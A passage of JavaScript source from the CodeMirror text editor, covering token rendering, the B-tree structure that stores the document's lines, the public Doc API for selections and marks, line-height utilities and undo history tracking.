var displayText = builder.splitSpaces ? splitSpaces(text, builder.trailingSpace) : text
var special = builder.cm.state.specialChars, mustWrap = false;
if (!special.test(text)) {
builder.col += text.length;
var content = document.createTextNode(displayText);
builder.map.push(builder.pos, builder.pos + text.length, content);
if (ie && ie_version < 9) mustWrap = true;
builder.pos += text.length;
} else {
var content = document.createDocumentFragment(), pos = 0;
while (true) {
special.lastIndex = pos;
var m = special.exec(text);
var skipped = m ? m.index - pos : text.length - pos;
if (skipped) {
var txt = document.createTextNode(displayText.slice(pos, pos + skipped));
if (ie && ie_version < 9) content.appendChild(elt("span", [txt]));
else content.appendChild(txt);
builder.map.push(builder.pos, builder.pos + skipped, txt);
builder.col += skipped;
builder.pos += skipped;
}
if (!m) break;
pos += skipped + 1;
if (m[0] == "\t") {
var tabSize = builder.cm.options.tabSize, tabWidth = tabSize - builder.col % tabSize;
var txt = content.appendChild(elt("span", spaceStr(tabWidth), "cm-tab"));
txt.setAttribute("role", "presentation");
txt.setAttribute("cm-text", "\t");
builder.col += tabWidth;
} else if (m[0] == "\r" || m[0] == "\n") {
var txt = content.appendChild(elt("span", m[0] == "\r" ? "\u240d" : "\u2424", "cm-invalidchar"));
txt.setAttribute("cm-text", m[0]);
builder.col += 1;
} else {
var txt = builder.cm.options.specialCharPlaceholder(m[0]);
txt.setAttribute("cm-text", m[0]);
if (ie && ie_version < 9) content.appendChild(elt("span", [txt]));
else content.appendChild(txt);
builder.col += 1;
}
builder.map.push(builder.pos, builder.pos + 1, txt);
builder.pos++;
}
}
builder.trailingSpace = displayText.charCodeAt(text.length - 1) == 32
if (style || startStyle || endStyle || mustWrap || css) {
var fullStyle = style || "";
if (startStyle) fullStyle += startStyle;
if (endStyle) fullStyle += endStyle;
var token = elt("span", [content], fullStyle, css);
if (title) token.title = title;
return builder.content.appendChild(token);
}
builder.content.appendChild(content);
}
function splitSpaces(text, trailingBefore) {
if (text.length > 1 && !/ /.test(text)) return text
var spaceBefore = trailingBefore, result = ""
for (var i = 0; i < text.length; i++) {
var ch = text.charAt(i)
if (ch == " " && spaceBefore && (i == text.length - 1 || text.charCodeAt(i + 1) == 32))
ch = "\u00a0"
result += ch
spaceBefore = ch == " "
}
return result
}
// Work around nonsense dimensions being reported for stretches of
// right-to-left text.
function buildTokenBadBidi(inner, order) {
return function(builder, text, style, startStyle, endStyle, title, css) {
style = style ? style + " cm-force-border" : "cm-force-border";
var start = builder.pos, end = start + text.length;
for (;;) {
// Find the part that overlaps with the start of this text
for (var i = 0; i < order.length; i++) {
var part = order[i];
if (part.to > start && part.from <= start) break;
}
if (part.to >= end) return inner(builder, text, style, startStyle, endStyle, title, css);
inner(builder, text.slice(0, part.to - start), style, startStyle, null, title, css);
startStyle = null;
text = text.slice(part.to - start);
start = part.to;
}
};
}
function buildCollapsedSpan(builder, size, marker, ignoreWidget) {
var widget = !ignoreWidget && marker.widgetNode;
if (widget) builder.map.push(builder.pos, builder.pos + size, widget);
if (!ignoreWidget && builder.cm.display.input.needsContentAttribute) {
if (!widget)
widget = builder.content.appendChild(document.createElement("span"));
widget.setAttribute("cm-marker", marker.id);
}
if (widget) {
builder.cm.display.input.setUneditable(widget);
builder.content.appendChild(widget);
}
builder.pos += size;
builder.trailingSpace = false
}
// Outputs a number of spans to make up a line, taking highlighting
// and marked text into account.
function insertLineContent(line, builder, styles) {
var spans = line.markedSpans, allText = line.text, at = 0;
if (!spans) {
for (var i = 1; i < styles.length; i+=2)
builder.addToken(builder, allText.slice(at, at = styles[i]), interpretTokenStyle(styles[i+1], builder.cm.options));
return;
}
var len = allText.length, pos = 0, i = 1, text = "", style, css;
var nextChange = 0, spanStyle, spanEndStyle, spanStartStyle, title, collapsed;
for (;;) {
if (nextChange == pos) { // Update current marker set
spanStyle = spanEndStyle = spanStartStyle = title = css = "";
collapsed = null; nextChange = Infinity;
var foundBookmarks = [], endStyles
for (var j = 0; j < spans.length; ++j) {
var sp = spans[j], m = sp.marker;
if (m.type == "bookmark" && sp.from == pos && m.widgetNode) {
foundBookmarks.push(m);
} else if (sp.from <= pos && (sp.to == null || sp.to > pos || m.collapsed && sp.to == pos && sp.from == pos)) {
if (sp.to != null && sp.to != pos && nextChange > sp.to) {
nextChange = sp.to;
spanEndStyle = "";
}
if (m.className) spanStyle += " " + m.className;
if (m.css) css = (css ? css + ";" : "") + m.css;
if (m.startStyle && sp.from == pos) spanStartStyle += " " + m.startStyle;
if (m.endStyle && sp.to == nextChange) (endStyles || (endStyles = [])).push(m.endStyle, sp.to)
if (m.title && !title) title = m.title;
if (m.collapsed && (!collapsed || compareCollapsedMarkers(collapsed.marker, m) < 0))
collapsed = sp;
} else if (sp.from > pos && nextChange > sp.from) {
nextChange = sp.from;
}
}
if (endStyles) for (var j = 0; j < endStyles.length; j += 2)
if (endStyles[j + 1] == nextChange) spanEndStyle += " " + endStyles[j]
if (!collapsed || collapsed.from == pos) for (var j = 0; j < foundBookmarks.length; ++j)
buildCollapsedSpan(builder, 0, foundBookmarks[j]);
if (collapsed && (collapsed.from || 0) == pos) {
buildCollapsedSpan(builder, (collapsed.to == null ? len + 1 : collapsed.to) - pos,
collapsed.marker, collapsed.from == null);
if (collapsed.to == null) return;
if (collapsed.to == pos) collapsed = false;
}
}
if (pos >= len) break;
var upto = Math.min(len, nextChange);
while (true) {
if (text) {
var end = pos + text.length;
if (!collapsed) {
var tokenText = end > upto ? text.slice(0, upto - pos) : text;
builder.addToken(builder, tokenText, style ? style + spanStyle : spanStyle,
spanStartStyle, pos + tokenText.length == nextChange ? spanEndStyle : "", title, css);
}
if (end >= upto) {text = text.slice(upto - pos); pos = upto; break;}
pos = end;
spanStartStyle = "";
}
text = allText.slice(at, at = styles[i++]);
style = interpretTokenStyle(styles[i++], builder.cm.options);
}
}
}
// DOCUMENT DATA STRUCTURE
// By default, updates that start and end at the beginning of a line
// are treated specially, in order to make the association of line
// widgets and marker elements with the text behave more intuitive.
function isWholeLineUpdate(doc, change) {
return change.from.ch == 0 && change.to.ch == 0 && lst(change.text) == "" &&
(!doc.cm || doc.cm.options.wholeLineUpdateBefore);
}
// Perform a change on the document data structure.
function updateDoc(doc, change, markedSpans, estimateHeight) {
function spansFor(n) {return markedSpans ? markedSpans[n] : null;}
function update(line, text, spans) {
updateLine(line, text, spans, estimateHeight);
signalLater(line, "change", line, change);
}
function linesFor(start, end) {
for (var i = start, result = []; i < end; ++i)
result.push(new Line(text[i], spansFor(i), estimateHeight));
return result;
}
var from = change.from, to = change.to, text = change.text;
var firstLine = getLine(doc, from.line), lastLine = getLine(doc, to.line);
var lastText = lst(text), lastSpans = spansFor(text.length - 1), nlines = to.line - from.line;
// Adjust the line structure
if (change.full) {
doc.insert(0, linesFor(0, text.length));
doc.remove(text.length, doc.size - text.length);
} else if (isWholeLineUpdate(doc, change)) {
// This is a whole-line replace. Treated specially to make
// sure line objects move the way they are supposed to.
var added = linesFor(0, text.length - 1);
update(lastLine, lastLine.text, lastSpans);
if (nlines) doc.remove(from.line, nlines);
if (added.length) doc.insert(from.line, added);
} else if (firstLine == lastLine) {
if (text.length == 1) {
update(firstLine, firstLine.text.slice(0, from.ch) + lastText + firstLine.text.slice(to.ch), lastSpans);
} else {
var added = linesFor(1, text.length - 1);
added.push(new Line(lastText + firstLine.text.slice(to.ch), lastSpans, estimateHeight));
update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));
doc.insert(from.line + 1, added);
}
} else if (text.length == 1) {
update(firstLine, firstLine.text.slice(0, from.ch) + text[0] + lastLine.text.slice(to.ch), spansFor(0));
doc.remove(from.line + 1, nlines);
} else {
update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0));
update(lastLine, lastText + lastLine.text.slice(to.ch), lastSpans);
var added = linesFor(1, text.length - 1);
if (nlines > 1) doc.remove(from.line + 1, nlines - 1);
doc.insert(from.line + 1, added);
}
signalLater(doc, "change", doc, change);
}
// The document is represented as a BTree consisting of leaves, with
// chunk of lines in them, and branches, with up to ten leaves or
// other branch nodes below them. The top node is always a branch
// node, and is the document object itself (meaning it has
// additional methods and properties).
//
// All nodes have parent links. The tree is used both to go from
// line numbers to line objects, and to go from objects to numbers.
// It also indexes by height, and is used to convert between height
// and line object, and to find the total height of the document.
//
// See also http://marijnhaverbeke.nl/blog/codemirror-line-tree.html
function LeafChunk(lines) {
this.lines = lines;
this.parent = null;
for (var i = 0, height = 0; i < lines.length; ++i) {
lines[i].parent = this;
height += lines[i].height;
}
this.height = height;
}
LeafChunk.prototype = {
chunkSize: function() { return this.lines.length; },
// Remove the n lines at offset 'at'.
removeInner: function(at, n) {
for (var i = at, e = at + n; i < e; ++i) {
var line = this.lines[i];
this.height -= line.height;
cleanUpLine(line);
signalLater(line, "delete");
}
this.lines.splice(at, n);
},
// Helper used to collapse a small branch into a single leaf.
collapse: function(lines) {
lines.push.apply(lines, this.lines);
},
// Insert the given array of lines at offset 'at', count them as
// having the given height.
insertInner: function(at, lines, height) {
this.height += height;
this.lines = this.lines.slice(0, at).concat(lines).concat(this.lines.slice(at));
for (var i = 0; i < lines.length; ++i) lines[i].parent = this;
},
// Used to iterate over a part of the tree.
iterN: function(at, n, op) {
for (var e = at + n; at < e; ++at)
if (op(this.lines[at])) return true;
}
};
function BranchChunk(children) {
this.children = children;
var size = 0, height = 0;
for (var i = 0; i < children.length; ++i) {
var ch = children[i];
size += ch.chunkSize(); height += ch.height;
ch.parent = this;
}
this.size = size;
this.height = height;
this.parent = null;
}
BranchChunk.prototype = {
chunkSize: function() { return this.size; },
removeInner: function(at, n) {
this.size -= n;
for (var i = 0; i < this.children.length; ++i) {
var child = this.children[i], sz = child.chunkSize();
if (at < sz) {
var rm = Math.min(n, sz - at), oldHeight = child.height;
child.removeInner(at, rm);
this.height -= oldHeight - child.height;
if (sz == rm) { this.children.splice(i--, 1); child.parent = null; }
if ((n -= rm) == 0) break;
at = 0;
} else at -= sz;
}
// If the result is smaller than 25 lines, ensure that it is a
// single leaf node.
if (this.size - n < 25 &&
(this.children.length > 1 || !(this.children[0] instanceof LeafChunk))) {
var lines = [];
this.collapse(lines);
this.children = [new LeafChunk(lines)];
this.children[0].parent = this;
}
},
collapse: function(lines) {
for (var i = 0; i < this.children.length; ++i) this.children[i].collapse(lines);
},
insertInner: function(at, lines, height) {
this.size += lines.length;
this.height += height;
for (var i = 0; i < this.children.length; ++i) {
var child = this.children[i], sz = child.chunkSize();
if (at <= sz) {
child.insertInner(at, lines, height);
if (child.lines && child.lines.length > 50) {
// To avoid memory thrashing when child.lines is huge (e.g. first view of a large file), it's never spliced.
// Instead, small slices are taken. They're taken in order because sequential memory accesses are fastest.
var remaining = child.lines.length % 25 + 25
for (var pos = remaining; pos < child.lines.length;) {
var leaf = new LeafChunk(child.lines.slice(pos, pos += 25));
child.height -= leaf.height;
this.children.splice(++i, 0, leaf);
leaf.parent = this;
}
child.lines = child.lines.slice(0, remaining);
this.maybeSpill();
}
break;
}
at -= sz;
}
},
// When a node has grown, check whether it should be split.
maybeSpill: function() {
if (this.children.length <= 10) return;
var me = this;
do {
var spilled = me.children.splice(me.children.length - 5, 5);
var sibling = new BranchChunk(spilled);
if (!me.parent) { // Become the parent node
var copy = new BranchChunk(me.children);
copy.parent = me;
me.children = [copy, sibling];
me = copy;
} else {
me.size -= sibling.size;
me.height -= sibling.height;
var myIndex = indexOf(me.parent.children, me);
me.parent.children.splice(myIndex + 1, 0, sibling);
}
sibling.parent = me.parent;
} while (me.children.length > 10);
me.parent.maybeSpill();
},
iterN: function(at, n, op) {
for (var i = 0; i < this.children.length; ++i) {
var child = this.children[i], sz = child.chunkSize();
if (at < sz) {
var used = Math.min(n, sz - at);
if (child.iterN(at, used, op)) return true;
if ((n -= used) == 0) break;
at = 0;
} else at -= sz;
}
}
};
var nextDocId = 0;
var Doc = CodeMirror.Doc = function(text, mode, firstLine, lineSep) {
if (!(this instanceof Doc)) return new Doc(text, mode, firstLine, lineSep);
if (firstLine == null) firstLine = 0;
BranchChunk.call(this, [new LeafChunk([new Line("", null)])]);
this.first = firstLine;
this.scrollTop = this.scrollLeft = 0;
this.cantEdit = false;
this.cleanGeneration = 1;
this.frontier = firstLine;
var start = Pos(firstLine, 0);
this.sel = simpleSelection(start);
this.history = new History(null);
this.id = ++nextDocId;
this.modeOption = mode;
this.lineSep = lineSep;
this.extend = false;
if (typeof text == "string") text = this.splitLines(text);
updateDoc(this, {from: start, to: start, text: text});
setSelection(this, simpleSelection(start), sel_dontScroll);
};
Doc.prototype = createObj(BranchChunk.prototype, {
constructor: Doc,
// Iterate over the document. Supports two forms -- with only one
// argument, it calls that for each line in the document. With
// three, it iterates over the range given by the first two (with
// the second being non-inclusive).
iter: function(from, to, op) {
if (op) this.iterN(from - this.first, to - from, op);
else this.iterN(this.first, this.first + this.size, from);
},
// Non-public interface for adding and removing lines.
insert: function(at, lines) {
var height = 0;
for (var i = 0; i < lines.length; ++i) height += lines[i].height;
this.insertInner(at - this.first, lines, height);
},
remove: function(at, n) { this.removeInner(at - this.first, n); },
// From here, the methods are part of the public interface. Most
// are also available from CodeMirror (editor) instances.
getValue: function(lineSep) {
var lines = getLines(this, this.first, this.first + this.size);
if (lineSep === false) return lines;
return lines.join(lineSep || this.lineSeparator());
},
setValue: docMethodOp(function(code) {
var top = Pos(this.first, 0), last = this.first + this.size - 1;
makeChange(this, {from: top, to: Pos(last, getLine(this, last).text.length),
text: this.splitLines(code), origin: "setValue", full: true}, true);
setSelection(this, simpleSelection(top));
}),
replaceRange: function(code, from, to, origin) {
from = clipPos(this, from);
to = to ? clipPos(this, to) : from;
replaceRange(this, code, from, to, origin);
},
getRange: function(from, to, lineSep) {
var lines = getBetween(this, clipPos(this, from), clipPos(this, to));
if (lineSep === false) return lines;
return lines.join(lineSep || this.lineSeparator());
},
getLine: function(line) {var l = this.getLineHandle(line); return l && l.text;},
getLineHandle: function(line) {if (isLine(this, line)) return getLine(this, line);},
getLineNumber: function(line) {return lineNo(line);},
getLineHandleVisualStart: function(line) {
if (typeof line == "number") line = getLine(this, line);
return visualLine(line);
},
lineCount: function() {return this.size;},
firstLine: function() {return this.first;},
lastLine: function() {return this.first + this.size - 1;},
clipPos: function(pos) {return clipPos(this, pos);},
getCursor: function(start) {
var range = this.sel.primary(), pos;
if (start == null || start == "head") pos = range.head;
else if (start == "anchor") pos = range.anchor;
else if (start == "end" || start == "to" || start === false) pos = range.to();
else pos = range.from();
return pos;
},
listSelections: function() { return this.sel.ranges; },
somethingSelected: function() {return this.sel.somethingSelected();},
setCursor: docMethodOp(function(line, ch, options) {
setSimpleSelection(this, clipPos(this, typeof line == "number" ? Pos(line, ch || 0) : line), null, options);
}),
setSelection: docMethodOp(function(anchor, head, options) {
setSimpleSelection(this, clipPos(this, anchor), clipPos(this, head || anchor), options);
}),
extendSelection: docMethodOp(function(head, other, options) {
extendSelection(this, clipPos(this, head), other && clipPos(this, other), options);
}),
extendSelections: docMethodOp(function(heads, options) {
extendSelections(this, clipPosArray(this, heads), options);
}),
extendSelectionsBy: docMethodOp(function(f, options) {
var heads = map(this.sel.ranges, f);
extendSelections(this, clipPosArray(this, heads), options);
}),
setSelections: docMethodOp(function(ranges, primary, options) {
if (!ranges.length) return;
for (var i = 0, out = []; i < ranges.length; i++)
out[i] = new Range(clipPos(this, ranges[i].anchor),
clipPos(this, ranges[i].head));
if (primary == null) primary = Math.min(ranges.length - 1, this.sel.primIndex);
setSelection(this, normalizeSelection(out, primary), options);
}),
addSelection: docMethodOp(function(anchor, head, options) {
var ranges = this.sel.ranges.slice(0);
ranges.push(new Range(clipPos(this, anchor), clipPos(this, head || anchor)));
setSelection(this, normalizeSelection(ranges, ranges.length - 1), options);
}),
getSelection: function(lineSep) {
var ranges = this.sel.ranges, lines;
for (var i = 0; i < ranges.length; i++) {
var sel = getBetween(this, ranges[i].from(), ranges[i].to());
lines = lines ? lines.concat(sel) : sel;
}
if (lineSep === false) return lines;
else return lines.join(lineSep || this.lineSeparator());
},
getSelections: function(lineSep) {
var parts = [], ranges = this.sel.ranges;
for (var i = 0; i < ranges.length; i++) {
var sel = getBetween(this, ranges[i].from(), ranges[i].to());
if (lineSep !== false) sel = sel.join(lineSep || this.lineSeparator());
parts[i] = sel;
}
return parts;
},
replaceSelection: function(code, collapse, origin) {
var dup = [];
for (var i = 0; i < this.sel.ranges.length; i++)
dup[i] = code;
this.replaceSelections(dup, collapse, origin || "+input");
},
replaceSelections: docMethodOp(function(code, collapse, origin) {
var changes = [], sel = this.sel;
for (var i = 0; i < sel.ranges.length; i++) {
var range = sel.ranges[i];
changes[i] = {from: range.from(), to: range.to(), text: this.splitLines(code[i]), origin: origin};
}
var newSel = collapse && collapse != "end" && computeReplacedSel(this, changes, collapse);
for (var i = changes.length - 1; i >= 0; i--)
makeChange(this, changes[i]);
if (newSel) setSelectionReplaceHistory(this, newSel);
else if (this.cm) ensureCursorVisible(this.cm);
}),
undo: docMethodOp(function() {makeChangeFromHistory(this, "undo");}),
redo: docMethodOp(function() {makeChangeFromHistory(this, "redo");}),
undoSelection: docMethodOp(function() {makeChangeFromHistory(this, "undo", true);}),
redoSelection: docMethodOp(function() {makeChangeFromHistory(this, "redo", true);}),
setExtending: function(val) {this.extend = val;},
getExtending: function() {return this.extend;},
historySize: function() {
var hist = this.history, done = 0, undone = 0;
for (var i = 0; i < hist.done.length; i++) if (!hist.done[i].ranges) ++done;
for (var i = 0; i < hist.undone.length; i++) if (!hist.undone[i].ranges) ++undone;
return {undo: done, redo: undone};
},
clearHistory: function() {this.history = new History(this.history.maxGeneration);},
markClean: function() {
this.cleanGeneration = this.changeGeneration(true);
},
changeGeneration: function(forceSplit) {
if (forceSplit)
this.history.lastOp = this.history.lastSelOp = this.history.lastOrigin = null;
return this.history.generation;
},
isClean: function (gen) {
return this.history.generation == (gen || this.cleanGeneration);
},
getHistory: function() {
return {done: copyHistoryArray(this.history.done),
undone: copyHistoryArray(this.history.undone)};
},
setHistory: function(histData) {
var hist = this.history = new History(this.history.maxGeneration);
hist.done = copyHistoryArray(histData.done.slice(0), null, true);
hist.undone = copyHistoryArray(histData.undone.slice(0), null, true);
},
addLineClass: docMethodOp(function(handle, where, cls) {
return changeLine(this, handle, where == "gutter" ? "gutter" : "class", function(line) {
var prop = where == "text" ? "textClass"
: where == "background" ? "bgClass"
: where == "gutter" ? "gutterClass" : "wrapClass";
if (!line[prop]) line[prop] = cls;
else if (classTest(cls).test(line[prop])) return false;
else line[prop] += " " + cls;
return true;
});
}),
removeLineClass: docMethodOp(function(handle, where, cls) {
return changeLine(this, handle, where == "gutter" ? "gutter" : "class", function(line) {
var prop = where == "text" ? "textClass"
: where == "background" ? "bgClass"
: where == "gutter" ? "gutterClass" : "wrapClass";
var cur = line[prop];
if (!cur) return false;
else if (cls == null) line[prop] = null;
else {
var found = cur.match(classTest(cls));
if (!found) return false;
var end = found.index + found[0].length;
line[prop] = cur.slice(0, found.index) + (!found.index || end == cur.length ? "" : " ") + cur.slice(end) || null;
}
return true;
});
}),
addLineWidget: docMethodOp(function(handle, node, options) {
return addLineWidget(this, handle, node, options);
}),
removeLineWidget: function(widget) { widget.clear(); },
markText: function(from, to, options) {
return markText(this, clipPos(this, from), clipPos(this, to), options, options && options.type || "range");
},
setBookmark: function(pos, options) {
var realOpts = {replacedWith: options && (options.nodeType == null ? options.widget : options),
insertLeft: options && options.insertLeft,
clearWhenEmpty: false, shared: options && options.shared,
handleMouseEvents: options && options.handleMouseEvents};
pos = clipPos(this, pos);
return markText(this, pos, pos, realOpts, "bookmark");
},
findMarksAt: function(pos) {
pos = clipPos(this, pos);
var markers = [], spans = getLine(this, pos.line).markedSpans;
if (spans) for (var i = 0; i < spans.length; ++i) {
var span = spans[i];
if ((span.from == null || span.from <= pos.ch) &&
(span.to == null || span.to >= pos.ch))
markers.push(span.marker.parent || span.marker);
}
return markers;
},
findMarks: function(from, to, filter) {
from = clipPos(this, from); to = clipPos(this, to);
var found = [], lineNo = from.line;
this.iter(from.line, to.line + 1, function(line) {
var spans = line.markedSpans;
if (spans) for (var i = 0; i < spans.length; i++) {
var span = spans[i];
if (!(span.to != null && lineNo == from.line && from.ch >= span.to ||
span.from == null && lineNo != from.line ||
span.from != null && lineNo == to.line && span.from >= to.ch) &&
(!filter || filter(span.marker)))
found.push(span.marker.parent || span.marker);
}
++lineNo;
});
return found;
},
getAllMarks: function() {
var markers = [];
this.iter(function(line) {
var sps = line.markedSpans;
if (sps) for (var i = 0; i < sps.length; ++i)
if (sps[i].from != null) markers.push(sps[i].marker);
});
return markers;
},
posFromIndex: function(off) {
var ch, lineNo = this.first, sepSize = this.lineSeparator().length;
this.iter(function(line) {
var sz = line.text.length + sepSize;
if (sz > off) { ch = off; return true; }
off -= sz;
++lineNo;
});
return clipPos(this, Pos(lineNo, ch));
},
indexFromPos: function (coords) {
coords = clipPos(this, coords);
var index = coords.ch;
if (coords.line < this.first || coords.ch < 0) return 0;
var sepSize = this.lineSeparator().length;
this.iter(this.first, coords.line, function (line) {
index += line.text.length + sepSize;
});
return index;
},
copy: function(copyHistory) {
var doc = new Doc(getLines(this, this.first, this.first + this.size),
this.modeOption, this.first, this.lineSep);
doc.scrollTop = this.scrollTop; doc.scrollLeft = this.scrollLeft;
doc.sel = this.sel;
doc.extend = false;
if (copyHistory) {
doc.history.undoDepth = this.history.undoDepth;
doc.setHistory(this.getHistory());
}
return doc;
},
linkedDoc: function(options) {
if (!options) options = {};
var from = this.first, to = this.first + this.size;
if (options.from != null && options.from > from) from = options.from;
if (options.to != null && options.to < to) to = options.to;
var copy = new Doc(getLines(this, from, to), options.mode || this.modeOption, from, this.lineSep);
if (options.sharedHist) copy.history = this.history;
(this.linked || (this.linked = [])).push({doc: copy, sharedHist: options.sharedHist});
copy.linked = [{doc: this, isParent: true, sharedHist: options.sharedHist}];
copySharedMarkers(copy, findSharedMarkers(this));
return copy;
},
unlinkDoc: function(other) {
if (other instanceof CodeMirror) other = other.doc;
if (this.linked) for (var i = 0; i < this.linked.length; ++i) {
var link = this.linked[i];
if (link.doc != other) continue;
this.linked.splice(i, 1);
other.unlinkDoc(this);
detachSharedMarkers(findSharedMarkers(this));
break;
}
// If the histories were shared, split them again
if (other.history == this.history) {
var splitIds = [other.id];
linkedDocs(other, function(doc) {splitIds.push(doc.id);}, true);
other.history = new History(null);
other.history.done = copyHistoryArray(this.history.done, splitIds);
other.history.undone = copyHistoryArray(this.history.undone, splitIds);
}
},
iterLinkedDocs: function(f) {linkedDocs(this, f);},
getMode: function() {return this.mode;},
getEditor: function() {return this.cm;},
splitLines: function(str) {
if (this.lineSep) return str.split(this.lineSep);
return splitLinesAuto(str);
},
lineSeparator: function() { return this.lineSep || "\n"; }
});
// Public alias.
Doc.prototype.eachLine = Doc.prototype.iter;
// Set up methods on CodeMirror's prototype to redirect to the editor's document.
var dontDelegate = "iter insert remove copy getEditor constructor".split(" ");
for (var prop in Doc.prototype) if (Doc.prototype.hasOwnProperty(prop) && indexOf(dontDelegate, prop) < 0)
CodeMirror.prototype[prop] = (function(method) {
return function() {return method.apply(this.doc, arguments);};
})(Doc.prototype[prop]);
eventMixin(Doc);
// Call f for all linked documents.
function linkedDocs(doc, f, sharedHistOnly) {
function propagate(doc, skip, sharedHist) {
if (doc.linked) for (var i = 0; i < doc.linked.length; ++i) {
var rel = doc.linked[i];
if (rel.doc == skip) continue;
var shared = sharedHist && rel.sharedHist;
if (sharedHistOnly && !shared) continue;
f(rel.doc, shared);
propagate(rel.doc, doc, shared);
}
}
propagate(doc, null, true);
}
// Attach a document to an editor.
function attachDoc(cm, doc) {
if (doc.cm) throw new Error("This document is already in use.");
cm.doc = doc;
doc.cm = cm;
estimateLineHeights(cm);
loadMode(cm);
if (!cm.options.lineWrapping) findMaxLine(cm);
cm.options.mode = doc.modeOption;
regChange(cm);
}
// LINE UTILITIES
// Find the line object corresponding to the given line number.
function getLine(doc, n) {
n -= doc.first;
if (n < 0 || n >= doc.size) throw new Error("There is no line " + (n + doc.first) + " in the document.");
for (var chunk = doc; !chunk.lines;) {
for (var i = 0;; ++i) {
var child = chunk.children[i], sz = child.chunkSize();
if (n < sz) { chunk = child; break; }
n -= sz;
}
}
return chunk.lines[n];
}
// Get the part of a document between two positions, as an array of
// strings.
function getBetween(doc, start, end) {
var out = [], n = start.line;
doc.iter(start.line, end.line + 1, function(line) {
var text = line.text;
if (n == end.line) text = text.slice(0, end.ch);
if (n == start.line) text = text.slice(start.ch);
out.push(text);
++n;
});
return out;
}
// Get the lines between from and to, as array of strings.
function getLines(doc, from, to) {
var out = [];
doc.iter(from, to, function(line) { out.push(line.text); });
return out;
}
// Update the height of a line, propagating the height change
// upwards to parent nodes.
function updateLineHeight(line, height) {
var diff = height - line.height;
if (diff) for (var n = line; n; n = n.parent) n.height += diff;
}
// Given a line object, find its line number by walking up through
// its parent links.
function lineNo(line) {
if (line.parent == null) return null;
var cur = line.parent, no = indexOf(cur.lines, line);
for (var chunk = cur.parent; chunk; cur = chunk, chunk = chunk.parent) {
for (var i = 0;; ++i) {
if (chunk.children[i] == cur) break;
no += chunk.children[i].chunkSize();
}
}
return no + cur.first;
}
// Find the line at the given vertical position, using the height
// information in the document tree.
function lineAtHeight(chunk, h) {
var n = chunk.first;
outer: do {
for (var i = 0; i < chunk.children.length; ++i) {
var child = chunk.children[i], ch = child.height;
if (h < ch) { chunk = child; continue outer; }
h -= ch;
n += child.chunkSize();
}
return n;
} while (!chunk.lines);
for (var i = 0; i < chunk.lines.length; ++i) {
var line = chunk.lines[i], lh = line.height;
if (h < lh) break;
h -= lh;
}
return n + i;
}
// Find the height above the given line.
function heightAtLine(lineObj) {
lineObj = visualLine(lineObj);
var h = 0, chunk = lineObj.parent;
for (var i = 0; i < chunk.lines.length; ++i) {
var line = chunk.lines[i];
if (line == lineObj) break;
else h += line.height;
}
for (var p = chunk.parent; p; chunk = p, p = chunk.parent) {
for (var i = 0; i < p.children.length; ++i) {
var cur = p.children[i];
if (cur == chunk) break;
else h += cur.height;
}
}
return h;
}
// Get the bidi ordering for the given line (and cache it). Returns
// false for lines that are fully left-to-right, and an array of
// BidiSpan objects otherwise.
function getOrder(line) {
var order = line.order;
if (order == null) order = line.order = bidiOrdering(line.text);
return order;
}
// HISTORY
function History(startGen) {
// Arrays of change events and selections. Doing something adds an
// event to done and clears undo. Undoing moves events from done
// to undone, redoing moves them in the other direction.
this.done = []; this.undone = [];
this.undoDepth = Infinity;
// Used to track when changes can be merged into a single undo
// event
this.lastModTime = this.lastSelTime = 0;
this.lastOp = this.lastSelOp = null;
this.lastOrigin = this.lastSelOrigin = null;
// Used by the isClean() method
this.generation = this.maxGeneration = startGen || 1;
}
// Create a history change event from an updateDoc-style change
// object.
function historyChangeFromChange(doc, change) {
var histChange = {from: copyPos(change.from), to: changeEnd(change), text: getBetween(doc, change.from, change.to)};
attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);
linkedDocs(doc, function(doc) {attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);}, true);
return histChange;
}
// Pop all selection events off the end of a history array. Stop at
// a change event.
function clearSelectionEvents(array) {
while (array.length) {
var last = lst(array);
if (last.ranges) array.pop();
else break;
}
}
// Find the top change event in the history. Pop off selection
// events that are in the way.
function lastChangeEvent(hist, force) {
if (force) {
clearSelectionEvents(hist.done);
return lst(hist.done);
} else if (hist.done.length && !lst(hist.done).ranges) {
return lst(hist.done);
} else if (hist.done.length > 1 && !hist.done[hist.done.length - 2].ranges) {
hist.done.pop();
return lst(hist.done);
}
}
// Register a change in the history. Merges changes that are within
// a single operation, or are close together with an origin that
// allows merging (starting with "+") into a single event.
function addChangeToHistory(doc, change, selAfter, opId) {
var hist = doc.history;
hist.undone.length = 0;
var time = +new Date, cur;
if ((hist.lastOp == opId ||
hist.lastOrigin == change.origin && change.origin &&
((change.origin.charAt(0) == "+" && doc.cm && hist.lastModTime > time - doc.cm.options.historyEventDelay) ||
change.origin.charAt(0) == "*")) &&
(cur = lastChangeEvent(hist, hist.lastOp == opId))) {
// Merge this change into the last event
var last = lst(cur.changes);
if (cmp(change.from, change.to) == 0 && cmp(change.from, last.to) == 0) {
// Optimized case for simple insertion -- don't want to add
// new changesets for every character typed
last.to = changeEnd(change);
} else {
// Add new sub-event
cur.changes.push(historyChangeFromChange(doc, change));
}
} else {
// Can not be merged, start a new event.
var before = lst(hist.done);
if (!before || !before.ranges)
pushSelectionToHistory(doc.sel, hist.done);
cur = {changes: [historyChangeFromChange(doc, change)],
generation: hist.generation};
hist.done.push(cur);
while (hist.done.length > hist.undoDepth) {
hist.done.shift();
if (!hist.done[0].ranges) hist.done.shift();
}
}
hist.done.push(selAfter);
hist.generation = ++hist.maxGeneration;
hist.lastModTime = hist.lastSelTime = time;
hist.lastOp = hist.lastSelOp = opId;
hist.lastOrigin = hist.lastSelOrigin = change.origin;
if (!last) signal(doc, "historyAdded");
}
function selectionEventCanBeMerged(doc, origin, prev, sel) {
var ch = origin.charAt(0);
return ch == "*" ||
ch == "+" &&
prev.ranges.length == sel.ranges.length &&
prev.somethingSelected() == sel.somethingSelected() &&
new Date - doc.history.lastSelTime <= (doc.cm ? doc.cm.options.historyEventDelay : 500);
}
// Called whenever the selection changes, sets the new selection as
// the pending selection in the history, and pushes the old pending
// selection into the 'done' array when it was significantly
// different (in number of selected ranges, emptiness, or time).
function addSelectionToHistory(doc, sel, opId, options) {
var hist = doc.history, origin = options && options.origin;
// A new event is started when the previous origin does not match
// the current, or the origins don't allow matching. Origins
// starting with * are always merged, those starting with + are
// merged when similar and close together in time.
if (opId == hist.lastSelOp ||
(origin && hist.lastSelOrigin == origin &&
